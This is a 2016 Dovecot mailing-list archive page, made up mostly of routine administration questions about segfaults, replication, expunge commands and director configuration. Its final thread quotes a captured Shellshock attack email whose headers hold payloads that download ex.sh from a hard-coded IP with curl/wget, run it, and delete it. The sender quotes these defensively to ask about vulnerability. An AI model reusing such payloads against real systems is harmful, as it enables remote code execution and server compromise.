January 2016 - dovecot

Dovecot 2.2.21 - segfault
by Robert Blayzor 31 Jan '16

31 Jan '16

dovecot --version 2.2.21 (5345f22) FreeBSD 10.2-RELEASE-p11 FreeBSD 10.2-RELEASE-p11 #0 r294908M: amd64 Core was generated by `dovecot'. Program terminated with signal 11, Segmentation fault. Reading symbols from /usr/local/lib/dovecot/libdovecot.so.0...done. Loaded symbols for /usr/local/lib/dovecot/libdovecot.so.0 Reading symbols from /lib/libc.so.7...Reading symbols from /usr/lib/debug//lib/libc.so.7.debug...done. done. Loaded symbols for /lib/libc.so.7 Reading symbols from /libexec/ld-elf.so.1...Reading symbols from /usr/lib/debug//libexec/ld-elf.so.1.debug...done. done. Loaded symbols for /libexec/ld-elf.so.1 #0 0x0000000800910c74 in io_loop_time_refresh () at ioloop.c:635 635 ioloop.c: No such file or directory. in ioloop.c (gdb) bt full #0 0x0000000800910c74 in io_loop_time_refresh () at ioloop.c:635 No locals. #1 0x0000000800910961 in io_loop_timeouts_start_new (ioloop=0x801421080) at ioloop.c:436 to_idx = (struct timeout * const *) 0x801419880 #2 0x0000000800910915 in io_loop_handler_run (ioloop=0x801421080) at ioloop.c:606 No locals. #3 0x000000080091073f in io_loop_run (ioloop=0x801421080) at ioloop.c:583 No locals. #4 0x000000080086aaab in master_service_run (service=0x80141b140, callback=0) at master-service.c:640 No locals. #5 0x0000000000406509 in main (argc=3, argv=0x7fffffffb4c0) at main.c:888 set = (struct master_settings *) 0x801429110 error = 0x800caa2c3 "H\203Ä ]Ã\017\037\200" doveconf_arg = 0x0 orig_info_callback = (failure_callback_t *) 0x8008f0220 <i_syslog_error_handler> orig_debug_callback = (failure_callback_t *) 0x8008f0220 <i_syslog_error_handler> foreground = false ask_key_pass = false i = 3 c = -1 doubleopts = <value optimized out> Current language: auto; currently minimal (gdb)

2 2

Broken MIME parts for mail
by Peer Heinlein 30 Jan '16

30 Jan '16

We're acutally using 2:2.2.21-1~auto+83 and sometimes we have in our logfiles: Jan 30 08:50:14 mailimap01 dovecot: imap(username): Error: unlink(/vmail/username/mdbox/mailboxes/foldername/dbox-Mails/dovecot.index.cache) failed: No such file or directory (in mail-cache.c:28) Jan 30 08:50:14 mailimap01 dovecot: imap(username): Error: Corrupted index cache file /vmail/username/mdbox/mailboxes/foldername/dbox-Mails/dovecot.index.cache: Broken MIME parts for mail UID 70 The mail in this folder with uid 70 looks perfect and I'm able to fetch that mail without errors. I hope this is a self-healing error in the index file without real incident to the user. But I wonder how this Error can be happen. Peer -- Heinlein Support GmbH Schwedter Str. 8/9b, 10119 Berlin http://www.heinlein-support.de Tel: 030 / 405051-42 Fax: 030 / 405051-19 Zwangsangaben lt. §35a GmbHG: HRB 93818 B / Amtsgericht Berlin-Charlottenburg, Geschäftsführer: Peer Heinlein -- Sitz: Berlin

2 1

Re-starting replication after a long disconnect
by John Krug 29 Jan '16

29 Jan '16

Using Dovecot 2.2.15.8 We use dsync as shown at http://wiki.dovecot.org/Replication <http://wiki.dovecot.org/Replication> to have a second copy of our mail store. Users connect to one server and the other is considered a secondary, and is there “just in case”. If one-way backup/sync would make more sense, I would consider that, but at the time we set it up (October 2013), I recall there was some issue with one-way not being as reliable. We had some problems with the secondary mail server and had to take it off line for while. Now that the mail on that server is stale, what is the best way of starting over? When I simply turned it back on after a lengthy break (weeks), some users were reporting deleted messages showing up in their inboxes. I know dsync is master/master and uses index files, but I am not certain of the details and whether this behavior is completely unexpected or not. The laundry list: What are the f and R flags for sync? http://wiki2.dovecot.org/Tools/Doveadm/Sync Use doveadm backup to get the initial data over to the seconday? Can the server be in use while I do backup? Do I need to wipe the secondary and start over? Thanks ! -JK ----------------------------------------------------------------------- John "JK" Krug System Administrator The University of Chicago | Laboratory Schools 1362 East 59th Street | Chicago, IL 60637 Phone: (773) 834-4476 jk(a)ucls.uchicago.edu <mailto:jkallo@ucls.uchicago.edu> | http://helpdesk.ucls.uchicago.edu _______________________________________________

2 1

Setting Recent Flag on New Messages?
by Haravikk 29 Jan '16

29 Jan '16

So I’m looking at setting up some house-keeping for my dovecot mailboxes, specifically deleting messages in trash, spam etc., by deleting Seen messages older than X days. In order to protect against the edge case of a user reading a message right before the deletion task however I’d like to do something like the following: doveadm expunge -A OLD SEEN BEFORE 7d MAILBOX Trash doveadm flags -A remove '\Recent' SEEN BEFORE 7d MAILBOX Trash (except I’m actually doing this per-user with a script and per-user settings for flexibility, but you get the idea) Basically the expunge step only deletes messages without the Recent flag (and which haven’t been marked as unseen again). It then removes this flag from messages which have been seen, so that they will be deleted next time the expunge command runs. In other words, if this command runs once a day, there will be a minimum delay of 24 hours between a message being seen, and then being deleted. However I can’t for the life of me figure out how to set the Recent flag except via doveadm flags. While I could periodically run doveadm -A flags add ‘\Recent’ SEEN or such this doesn’t seem like a great way to do it (adding the flag after the messages are stored), really I’d rather do it as they arrive. I’ve tried sieve, but it can’t set this flag. Have I managed to completely miss an option for setting this when new messages arrive?

4 5

Dovecot (director, lmtp) IPv4/IPv6?
by Andrey Fesenko 29 Jan '16

29 Jan '16

Hello, I'm build system with two director/proxy and dual stack network (or IPv6-only local services) http://wiki2.dovecot.org/Director say "This also means that a single director ring must use either IPv4 or IPv6 addresses, but not both at the same time." OK All servers have 2 interface (public and local network), and all dual stack IPv4/IPv6, imap/pop (mail) and lmtp (mx) proxy run in dedicated server. If network IPv4-only this work fine IPv6-only or IPv4/IPv6 configs not work (on mail director) dovecot-2.2.10-5.el7, CentOS Linux release 7.2.1511 (Core) My configs contain Directors listen = IPv4-public1, IPv4-local1, IPv6-public1, IPv6-local1 director_servers = IPv6-local1 IPv6-local2 director_mail_servers = IPv4-public3 IPv4-local3 IPv6-public3 IPv6-local3 service lmtp { client_limit = 5 executable = lmtp -L idle_kill = 0 process_limit = 0 process_min_avail = 0 protocol = lmtp service_count = 0 inet_listener lmtp { address = IPv6-local1 IPv4-local1 port = 24 } } # 20-lmtp lmtp_proxy = yes service director { unix_listener login/director { mode = 0666 } fifo_listener login/proxy-notify { mode = 0600 } unix_listener director-userdb { mode = 0600 } inet_listener { address = IPv6-local1 port = 9090 } } Without line "address =" in service, all services start all listen. If director contain service imap-login { executable = imap-login director idle_kill = 10 secs inet_listener imap { port = 143 } process_limit = 400 process_min_avail = 10 service_count = 0 vsz_limit = 512 M } log after start server # systemctl status dovecot ● dovecot.service - Dovecot IMAP/POP3 email server Loaded: loaded (/usr/lib/systemd/system/dovecot.service; enabled; vendor preset: disabled) Active: active (running) since Thu 2016-01-28 13:12:49 MSK; 5s ago Process: 11111 ExecStartPre=/usr/libexec/dovecot/prestartscript (code=exited, status=0/SUCCESS) Main PID: 11114 (dovecot) CGroup: /system.slice/dovecot.service ├─11114 /usr/sbin/dovecot -F ├─11116 dovecot-director/imap-login director ├─11117 dovecot-director/anvil [10 connections] ├─11118 dovecot-director/log ├─11120 dovecot-director/imap-login director ├─11121 dovecot-director/imap-login director ├─11122 dovecot-director/imap-login director ├─11123 dovecot-director/imap-login director ├─11124 dovecot-director/imap-login director ├─11125 dovecot-director/imap-login director ├─11126 dovecot-director/imap-login director ├─11127 dovecot-director/imap-login director ├─11128 dovecot-director/imap-login director └─11129 dovecot-director/config Jan 28 13:12:49 mail systemd[1]: Starting Dovecot IMAP/POP3 email server... Jan 28 13:12:49 mail systemd[1]: Started Dovecot IMAP/POP3 email server. Jan 28 13:12:49 mail dovecot[11114]: master: Dovecot v2.2.10 starting up for imap, pop3 (core dumps disabled) Jan 28 13:12:49 mail dovecot[11114]: master: Error: service(director): command startup failed, throttling for 2 secs Jan 28 13:12:49 mail dovecot[11118]: director: Fatal: Invalid director port in IPv6-local1 Jan 28 13:12:54 mail dovecot[11118]: director: Fatal: Invalid director port in IPv6-local1 Jan 28 13:12:54 mail dovecot[11114]: master: Error: service(director): command startup failed, throttling for 4 secs # systemctl status dovecot ● dovecot.service - Dovecot IMAP/POP3 email server Loaded: loaded (/usr/lib/systemd/system/dovecot.service; enabled; vendor preset: disabled) Active: active (running) since Thu 2016-01-28 13:05:52 MSK; 10min ago Process: 10232 ExecStartPre=/usr/libexec/dovecot/prestartscript (code=exited, status=0/SUCCESS) Main PID: 10235 (dovecot) CGroup: /system.slice/dovecot.service ├─10235 /usr/sbin/dovecot -F ├─10237 dovecot-proxy/anvil [0 connections] └─10238 dovecot-proxy/log Jan 28 13:05:52 mx systemd[1]: Starting Dovecot IMAP/POP3 email server... Jan 28 13:05:52 mx systemd[1]: Started Dovecot IMAP/POP3 email server. Jan 28 13:05:52 mx dovecot[10235]: master: Dovecot v2.2.10 starting up for lmtp (core dumps disabled) Jan 28 13:06:18 mx dovecot[10238]: director: Fatal: Invalid director port in IPv6-local1 Jan 28 13:06:18 mx dovecot[10235]: master: Error: service(director): command startup failed, throttling for 2 secs Jan 28 13:06:18 mx dovecot[10250]: lmtp(10250): Error: passdb lookup(mailadm@mx): Disconnected unexpectedly Jan 28 13:06:20 mx dovecot[10238]: director: Fatal: Invalid director port in IPv6-local1

2 3

Correct Way to Run expunge for All?
by Haravikk 29 Jan '16

29 Jan '16

So as part of my daily mailbox maintenance I have the following command: doveadm expunge -A DELETED i.e- I’m only expunging messages that have been specifically marked as deleted. I also only do this *after* running doveadm purge, as this means that there is at least a 24 hour window between a message being marked as deleted, and it being gone forever. However I get the following error message: Fatal: expunge: To avoid accidents, search query must contain MAILBOX in all search branches While I can see the logic in this, it isn’t an accidental use of this command, so who do I force it to proceed? Going forward I’d like to recommend that expunge -A DELETED should be allowed, as it doesn’t seem like an especially dangerous form of the command, particularly with mdboxes where the messages won’t be removed until the purge step. Either that or there should be a flag to force the command when you know it isn’t an accident; anyone adding this to all their queries deserves the damage they inflict =)

2 1

Maildir to mdbox conersion size issue
by Petr Bousek 28 Jan '16

28 Jan '16

Hello, I have issue with dovecot 2.2.13 I want to change all Maildirs to mdbox format and I do it per partes, so I change mail_location for user (in sql), than I use doveadm sync -u user path_to_maildir and everything works mostly fine. But now I found that when I migrate quite huge Maildir (about 24G of mails) to mdbox, after sync the final mdbox is twice as big as source Maildir (48GB). I tried to find duplicities, but didn't find any. Is there any reason why mdbox consume so much data? Or I do something wrong? Does somebody have same experience? Thanks Petr

2 2

Dovecot LDAP host - hostip resolution and alternative
by Andrey Fesenko 28 Jan '16

28 Jan '16

dovecot-2.2.10-5.el7, CentOS Linux release 7.2.1511 (Core) Users stored in LDAP, backend name set his hostname (need for TLS on backend) auth: Debug: passdb out: PASS 1 user=mail proxy=yes host=backend starttls=yes hostip=IPv6-public how algorithm choice IP for hostip, and whether it is possible to implement it repeated request? Now I'm understand the following algorithm, DNS IPv6, /etc/hosts IPv4 single not alternative resolution. If my backend have only local address this FAIL

1 0

segfaults with Dovecot 2.2.21
by Peer Heinlein 28 Jan '16

28 Jan '16

We're running Dovecot 2.2.21 from Stephan Bosch's build service on Dovecot 7.x. Everything's up2date. # 2.2.devel (7ab22fc): /etc/dovecot/dovecot.conf # Pigeonhole version 0.4.11 (71e908a) # OS: Linux 3.16.0-0.bpo.4-amd64 x86_64 Debian 7.9 root@mailimap01:/etc/dovecot/conf.d # apt-show-versions | grep dovecot debian-dovecot-auto-keyring/oldstable-auto uptodate 2010.01.30 dovecot-core/oldstable-auto uptodate 2:2.2.21-1~auto+66 dovecot-imapd/oldstable-auto uptodate 2:2.2.21-1~auto+66 dovecot-lmtpd/oldstable-auto uptodate 2:2.2.21-1~auto+66 dovecot-managesieved/oldstable-auto uptodate 2:2.2.21-1~auto+66 dovecot-mysql/oldstable-auto uptodate 2:2.2.21-1~auto+66 dovecot-pop3d/oldstable-auto uptodate 2:2.2.21-1~auto+66 dovecot-sieve/oldstable-auto uptodate 2:2.2.21-1~auto+66 But we have sefaults in our logfile. How can we debug and solve that? (Yes, I know Stephan Bosch's packages are autobuild at the edge, but we need this versions since Dovecot 7.0 has only Dovecot 2.2.7 available.) Peer Jan 21 22:39:20 mailimap01 dovecot: imap(p24062p6): Error: Raw backtrace: /usr/lib/dovecot/libdovecot.so.0(+0x838cf) [0x7fbe4e92b8cf] -> /usr/lib/dovecot/libdovecot.so.0(+0x8392e) [0x7fbe4e92b92e] -> /usr/lib/dovecot/libdovecot.so.0(i_fatal+0) [0x7fbe4e8d4aae] -> dovecot/imap [p24062p6 87.140.193.6 NOOP](client_continue_pending_input+0x132) [0x7fbe4f1125e2] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_call_io+0x5b) [0x7fbe4e93eb0b] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run_internal+0xd7) [0x7fbe4e93fee7] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run+0x25) [0x7fbe4e93ebb5] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_run+0x38) [0x7fbe4e93ed58] -> /usr/lib/dovecot/libdovecot.so.0(master_service_run+0x13) [0x7fbe4e8da4b3] -> dovecot/imap [p24062p6 87.140.193.6 NOOP](main+0x2d8) [0x7fbe4f105eb8] -> /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xfd) [0x7fbe4e53bead] -> dovecot/imap [p24062p6 87.140.193.6 NOOP](+0xf03d) [0x7fbe4f10603d] Jan 21 22:46:41 mailimap01 dovecot: imap(p115951p1): Error: Raw backtrace: /usr/lib/dovecot/libdovecot.so.0(+0x838cf) [0x7fcd177d48cf] -> /usr/lib/dovecot/libdovecot.so.0(+0x8392e) [0x7fcd177d492e] -> /usr/lib/dovecot/libdovecot.so.0(i_fatal+0) [0x7fcd1777daae] -> dovecot/imap [p115951p1 93.204.210.91 FETCH](client_continue_pending_input+0x132) [0x7fcd17fbb5e2] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_call_io+0x5b) [0x7fcd177e7b0b] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run_internal+0xd7) [0x7fcd177e8ee7] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run+0x25) [0x7fcd177e7bb5] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_run+0x38) [0x7fcd177e7d58] -> /usr/lib/dovecot/libdovecot.so.0(master_service_run+0x13) [0x7fcd177834b3] -> dovecot/imap [p115951p1 93.204.210.91 FETCH](main+0x2d8) [0x7fcd17faeeb8] -> /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xfd) [0x7fcd173e4ead] -> dovecot/imap [p115951p1 93.204.210.91 FETCH](+0xf03d) [0x7fcd17faf03d] Jan 21 22:51:48 mailimap01 dovecot: imap(p54862p14): Error: Raw backtrace: /usr/lib/dovecot/libdovecot.so.0(+0x838cf) [0x7fd798e628cf] -> /usr/lib/dovecot/libdovecot.so.0(+0x8392e) [0x7fd798e6292e] -> /usr/lib/dovecot/libdovecot.so.0(i_fatal+0) [0x7fd798e0baae] -> dovecot/imap [p54862p14 217.92.255.97 NOOP](client_continue_pending_input+0x132) [0x7fd7996495e2] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_call_io+0x5b) [0x7fd798e75b0b] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run_internal+0xd7) [0x7fd798e76ee7] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run+0x25) [0x7fd798e75bb5] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_run+0x38) [0x7fd798e75d58] -> /usr/lib/dovecot/libdovecot.so.0(master_service_run+0x13) [0x7fd798e114b3] -> dovecot/imap [p54862p14 217.92.255.97 NOOP](main+0x2d8) [0x7fd79963ceb8] -> /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xfd) [0x7fd798a72ead] -> dovecot/imap [p54862p14 217.92.255.97 NOOP](+0xf03d) [0x7fd79963d03d] Jan 21 22:55:25 mailimap01 dovecot: imap(p142324p3): Error: Raw backtrace: /usr/lib/dovecot/libdovecot.so.0(+0x838cf) [0x7fcbf559d8cf] -> /usr/lib/dovecot/libdovecot.so.0(+0x8392e) [0x7fcbf559d92e] -> /usr/lib/dovecot/libdovecot.so.0(i_fatal+0) [0x7fcbf5546aae] -> dovecot/imap [p142324p3 80.153.228.104 NOOP NOOP](client_continue_pending_input+0x132) [0x7fcbf5d845e2] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_call_io+0x5b) [0x7fcbf55b0b0b] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run_internal+0xd7) [0x7fcbf55b1ee7] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_handler_run+0x25) [0x7fcbf55b0bb5] -> /usr/lib/dovecot/libdovecot.so.0(io_loop_run+0x38) [0x7fcbf55b0d58] -> /usr/lib/dovecot/libdovecot.so.0(master_service_run+0x13) [0x7fcbf554c4b3] -> dovecot/imap [p142324p3 80.153.228.104 NOOP NOOP](main+0x2d8) [0x7fcbf5d77eb8] -> /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xfd) [0x7fcbf51adead] -> dovecot/imap [p142324p3 80.153.228.104 NOOP NOOP](+0xf03d) [0x7fcbf5d7803d] -- Heinlein Support GmbH Schwedter Str. 8/9b, 10119 Berlin http://www.heinlein-support.de Tel: 030 / 405051-42 Fax: 030 / 405051-19 Zwangsangaben lt. §35a GmbHG: HRB 93818 B / Amtsgericht Berlin-Charlottenburg, Geschäftsführer: Peer Heinlein -- Sitz: Berlin

4 9

is dovecot vulnerable to this kind of attack?
by Louis Kowolowski 27 Jan '16

27 Jan '16

I found an interesting email that got caught in my spam quarantine. I’m wondering if dovecot is vulnerable to this kind of code execution (I’m aware that other components could be vulnerable, but this question is specifically targeting dovecot). The idea is to insert shell commands into various header fields that would get executed as part of the message processing/delivery. Examples include: From: () {:;};/bin/sh -c 'cd /tmp;curl -sO 62.75.175.145/ex.sh;lwp-download http: //62.75.175.145/ex.sh(a)nes.txt.com;, wget(a)nes.txt.com, 62.75.175.145/ex.sh(a)nes.txt.com;, fetch(a)nes.txt.com, 62.75.175.145/ex.sh(a)nes.txt.com;, sh(a)nes.txt.com, ex.sh(a)nes.txt.com;, rm(a)nes.txt.com, -fr(a)nes.txt.com, ex.*'@nes.txt.com, &(a)nes.txt.com; Subject:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 62.75.175.145/ex.sh;lwp-download http://62.75.175.145/ex.sh;wget 62.75.175.145/ex.sh;fetch 62.75.175.145/ex.sh;sh ex.sh;rm -fr ex.*' &; Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 62.75.175.145/ex.sh;lwp-download http://62.75.175.145/ex.sh;wget 62.75.175.145/ex.sh;fetch 62.75.175.145/ex.sh;sh ex.sh;rm -fr ex.*' &; Message-ID:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 62.75.175.145/ex.sh;lwp-download http://62.75.175.145/ex.sh;wget 62.75.175.145/ex.sh;fetch 62.75.175.145/ex.sh;sh ex.sh;rm -fr ex.*' &; The full message, should it be of interest, can be found here: https://dl.dropboxusercontent.com/u/17066730/interesting%20email.txt Thank you! -- Louis Kowolowski louisk(a)cryptomonkeys.org Cryptomonkeys: http://www.cryptomonkeys.com/ Making life more interesting for people since 1977

2 2